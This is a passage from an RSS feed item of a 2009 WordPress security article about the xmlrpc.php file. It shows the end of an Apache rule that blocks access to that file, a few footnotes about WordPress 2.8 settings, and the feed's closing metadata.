RedirectMatch 403 /(.*)/xmlrpc\.php$
&lt;/IfModule&gt;</code></pre>
<p><sup>1</sup> Or anywhere the <code>wp_head()</code> hook is located.<br />
<sup>2</sup> Working with WordPress version 2.8 at the time of this writing.<br />
<sup>3</sup> To enable this feature, go to &ldquo;Settings &gt; Writing &gt; Remote Publishing&rdquo; in the WP Admin</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/06/xmlrpc-php-security/">Permalink</a> | <a href="http://digwp.com/2009/06/xmlrpc-php-security/#comments">17 comments</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2009/06/xmlrpc-php-security/&title=The xmlrpc.php File and Site&nbsp;Security">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/header/" rel="tag">header</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a>, <a href="http://digwp.com/tag/tips/" rel="tag">tips</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/06/xmlrpc-php-security/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
	</channel>
</rss>
